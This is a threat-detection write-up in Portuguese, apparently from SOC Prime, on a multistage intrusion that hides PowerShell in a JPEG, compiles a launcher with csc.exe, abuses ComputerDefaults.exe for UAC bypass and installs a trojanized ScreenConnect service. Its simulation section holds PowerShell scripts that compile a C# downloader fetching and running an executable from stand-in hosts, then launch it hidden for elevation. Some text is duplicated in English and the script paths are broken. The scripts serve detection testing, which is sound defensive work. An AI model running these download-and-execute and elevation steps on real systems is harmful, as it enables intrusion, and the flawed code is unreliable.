SOC Prime Bias: Crítico

12 May 2026 15:13 UTC

OPERAÇÃO CANVASILENCIOSO : INTRUSÃO MULTIETAPA BASEADA EM POWERSHELL USANDO JPEG

Author Photo
SOC Prime Team linkedin icon Seguir
OPERAÇÃO CANVASILENCIOSO : INTRUSÃO MULTIETAPA BASEADA EM POWERSHELL USANDO JPEG
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A Operação SilentCanvas é uma intrusão sofisticada em múltiplos estágios que esconde uma carga maliciosa em PowerShell dentro de um arquivo JPEG chamado sysupdate.jpeg. Essa carga recupera e compila um inicializador personalizado, que é construído através do csc.exe, abusando do ComputerDefaults.exe para realizar uma elevação de privilégio UAC sem arquivo, e instala um serviço trojanizado ConnectWise ScreenConnect chamado OneDriveServers para manter o acesso remoto persistente. O malware se comunica através de canais criptografados roteados para legitserver.theworkpc.com através das portas 5443 and 8041. A campanha também mostra um forte foco na evasão de defesa, coleta de credenciais e vigilância encoberta.

Investigação

O relatório abrange tanto a análise estática quanto a dinâmica do carregador baseado em JPEG, o binário compilado dinamicamente uds.exe e os componentes modificados do ScreenConnect. Pesquisadores identificaram várias técnicas ofensivas, incluindo a evasão do AMSI, abuso binário de living-off-the-land, sequestro de registro e derivação de chave personalizada para comunicação criptografada. A análise da infraestrutura revelou um mapeamento embutido entre legitserver.theworkpc.com e o endereço IP 45.138.16.64. A investigação também expôs o perfil detalhado das vítimas, manipulação de contas locais, e funcionalidades associadas ao acesso oculto à área de trabalho.

Mitigação

Os defensores devem aplicar uma lista de permissões estrita para ferramentas legítimas de monitoramento e gerenciamento remoto e restringir ou monitorar de perto a execução de csc.exe, cvtres.exe, e ComputerDefaults.exe. O monitoramento também deve focar em mudanças suspeitas no registro ms-settings , comportamento de evasão do AMSI no PowerShell, sinalizadores de criação de processos ocultos e a criação não autorizada de serviços que envolvem o nome OneDriveServers. Quaisquer contas que possam ter sido expostas devem ser redefinidas, e sistemas afetados devem ser isolados rapidamente para evitar mais abusos.

Resposta

Se indicadores relacionados forem detectados, o ponto de extremidade deve ser imediatamente colocado em quarentena, o processo malicioso e a atividade associada ao PowerShell devem ser terminados, e o serviço uds.exe deve ser removido do host. Investigadores devem coletar artefatos de registro, binários de serviço e telemetria de rede ligados à infraestrutura de comando e controle para uma análise forense mais profunda. Todas as credenciais privilegiadas devem ser rotacionadas, e os defensores devem monitorar padrões de movimentação lateral associados às técnicas documentadas na campanha. OneDriveServers service should be removed from the host. Investigators should collect registry artifacts, service binaries, and network telemetry tied to the command-and-control infrastructure for deeper forensic review. All privileged credentials should be rotated, and defenders should monitor for lateral movement patterns associated with the techniques documented in the campaign.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes u2013 Actions action_initial_access["<b>Ação</b> – <b>T1566 Anexo de Phishing</b>: O email entrega o arquivo malicioso <i>sysupdate.jpeg</i> disfarçado como uma imagem."] class action_initial_access action action_user_execution["<b>Ação</b> – <b>T1204.002 Execução de Usuário</b> e <b>T1059.001 PowerShell</b>: A vítima clica duas vezes no .jpeg, que lança o PowerShell embutido."] class action_user_execution action action_execution["<b>Ação</b> – <b>T1562.001 Desativar Ferramentas de Segurança</b> (evasão do AMSI) e <b>T1027 Ofuscação</b>: O script PowerShell evita detecção e oculta lógica maliciosa."] class action_execution action action_dev_utility_abuse["<b>Ação</b> – <b>T1127 Compilar Após Entrega</b> e <b>T1027.004 Arquivos Ofuscados/Armazenados</b>: O script embute código-fonte C# e compila com <i>csc.exe</i> para criar um lançador personalizado."] class action_dev_utility_abuse action action_priv_esc["<b>Ação</b> – <b>T1548.002 Sequestro de Fluxo de Execução</b> via protocolo <i>ms-settings</i> e <b>T1218.002 Arquivo HTML Compilado</b> usando <i>ComputerDefaults.exe</i> para uma elevação de privilégios sem arquivos."] class action_priv_esc action action_persistence["<b>Ação</b> – <b>T1543.003 Serviço do Windows</b> nomeado <i>OneDriveServers</i> e <b>T1136.001 Conta Local</b> criação de contas administrativas ocultas para acesso a longo prazo."] class action_persistence action action_tool_hijack["<b>Ação</b> – <b>T1553.002 Execução de Proxy de Binário Assinado</b>: Implanta binário ConnectWise ScreenConnect trojanizado abusando de componentes assinados legítimos."] class action_tool_hijack action action_credential_access["<b>Ação</b> – <b>T1556.001 Gancho de API de Credenciais</b> e <b>T1056.001 Captura de Entrada</b>: Instala gancho do Provedor de Credenciais e registrador de teclas para coletar credenciais de usuário."] class action_credential_access action action_collection["<b>Ação</b> – <b>T1113 Captura de Tela</b>, <b>T1125 Captura de Vídeo</b>, <b>T1123 Captura de Áudio</b>, <b>T1115 Dados da Área de Transferência</b>: Coleta informações visuais, de áudio e de área de transferência."] class action_collection action action_discovery["<b>Ação</b> – <b>T1518 Descoberta de Software</b>, <b>T1010 Descoberta de Janelas de Aplicativos</b>, <b>T1082 Descoberta de Informações do Sistema</b>: Enumera softwares instalados, produtos AV, informações do sistema e janelas ativas."] class action_discovery action action_c2["<b>Ação</b> – <b>T1573 Canal Criptografado</b>: Configura canal C2 criptografado usando chaves PBKDF2/HMACu2011SHA256 e transfere ferramentas adicionais via <b>T1105 Transferência de Ferramentas de Ingress</b>."] class action_c2 action action_remote_execution["<b>Ação</b> – <b>T1021 Serviços Remotos</b>: Executa comandos na vítima através da plataforma ScreenConnect."] class action_remote_execution action action_impact["<b>Ação</b> – <b>T1529 Desligamento/Reinício do Sistema</b>: Pode acionar uma reinicialização do sistema ou reinício em modo seguro para interromper o ambiente."] class action_impact action %% Nodes u2013 Tools / Processes tool_sysupdate_jpeg["<b>Ferramenta</b> – <b>Nome</b>: sysupdate.jpeg<br/><b>Tipo</b>: Anexo malicioso disfarçado como imagem"] class tool_sysupdate_jpeg tool tool_powershell["<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Tipo</b>: Motor de script usado para execução e ofuscação"] class tool_powershell tool tool_csc["<b>Ferramenta</b> – <b>Nome</b>: csc.exe<br/><b>Tipo</b>: Compilador C# usado localmente"] class tool_csc tool process_computerdefaults["<b>Processo</b> – <b>Nome</b>: ComputerDefaults.exe<br/><b>Descrição</b>: Usado como um proxy para elevação de privilégio UAC sem arquivo"] class process_computerdefaults process tool_screenconnect["<b>Ferramenta</b> – <b>Nome</b>: ConnectWise ScreenConnect<br/><b>Tipo</b>: Software de acesso remoto sequestrado com carga maliciosa"] class tool_screenconnect tool malware_keylogger["<b>Malware</b> – <b>Nome</b>: Keylogger Personalizado<br/><b>Propósito</b>: Capturar pressionamentos de tecla e credenciais"] class malware_keylogger malware %% Connections u2013 Attack Flow action_initial_access –>|entrega| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|dispara| action_user_execution action_user_execution –>|executa| tool_powershell tool_powershell –>|executa| action_execution action_execution –>|usa| tool_csc tool_csc –>|cria| action_dev_utility_abuse action_dev_utility_abuse –>|produz lançador para| action_priv_esc action_priv_esc –>|invoca| process_computerdefaults process_computerdefaults –>|habilita| action_persistence action_persistence –>|cria| action_tool_hijack action_tool_hijack –>|instala| tool_screenconnect tool_screenconnect –>|facilita| action_credential_access action_credential_access –>|instala| malware_keylogger malware_keylogger –>|habilita| action_collection action_collection –>|envia dados para| action_c2 action_c2 –>|suporta| action_remote_execution action_remote_execution –>|usa| tool_screenconnect action_remote_execution –>|leva a| action_impact action_discovery –>|fornece informações para| action_c2 %% Styling class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-Voo de Telemetria & Linha Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente as TTPs identificadas e visam gerar precisamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa do Ataque & Comandos:

    1. Primeiro acesso: O atacante ganha uma sessão de PowerShell de baixo privilégio no ponto de extremidade.
    2. Compilação ao vivo: Usando o csc.exejá disponível, o atacante compila um downloader em C# que busca um payload de segunda fase de um servidor C2. A compilação é lançada a partir do processo do PowerShell para satisfazer a condição de pai-filho.
    3. Elevação de privilégios sem arquivo: O atacante executa o arquivo executável recém-criado através do ComputerDefaults.exe, que solicita elevação de forma silenciosa sem mostrar um prompt UAC.
    4. Execução pós-elevação: O payload elevado estabelece uma shell reversa de volta para o adversário.
    # Etapa 1 – Preparar código-fonte C# malicioso (na memória)
    $csSource = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Downloader {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string payloadUrl = "http://malicious.example.com/payload.exe";
                string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
                wc.DownloadFile(payloadUrl, tempPath);
                Process.Start(tempPath);
            }
        }
    }
    "@
    
    $srcPath = "$env:TEMPDownloader.cs"
    $exePath = "$env:TEMPDownloader.exe"
    $csSource | Out-File -FilePath $srcPath -Encoding ASCII
    
    # Etapa 2 – Compilar via csc.exe (pai = PowerShell)
    & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
    
    # Etapa 3 – Acionar elevação de privilégios via ComputerDefaults.exe (ainda filho do PowerShell)
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • Script de Teste de Regressão: (script PowerShell auto-contido que reproduz as etapas acima)

    # -----------------------------------------------------------------
    # Arquivo: trigger_csc_uac_bypass.ps1
    # Propósito: Simular a cadeia de ataque csc.exe + ComputerDefaults.exe
    # -----------------------------------------------------------------
    
    # Criar código-fonte C# malicioso no diretório TEMP
    $src = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Payload {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string url = "http://example.com/evil.exe";
                string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
                wc.DownloadFile(url, path);
                Process.Start(path);
            }
        }
    }
    "@
    
    $srcPath = Join-Path $env:TEMP "Payload.cs"
    $exePath = Join-Path $env:TEMP "Payload.exe"
    $src | Out-File -FilePath $srcPath -Encoding ASCII
    
    # Compilar com csc.exe (este processo do PowerShell se torna o pai)
    $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
    & $csc /nologo /t:exe /out:$exePath $srcPath
    
    # Executar via ComputerDefaults.exe para realizar uma elevação de privilégios UAC silenciosa
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • Comandos de Limpeza:

    # Remover artefatos gerados
    Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
    # Opcionalmente, termine quaisquer processos remanescentes iniciados pelo teste
    Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force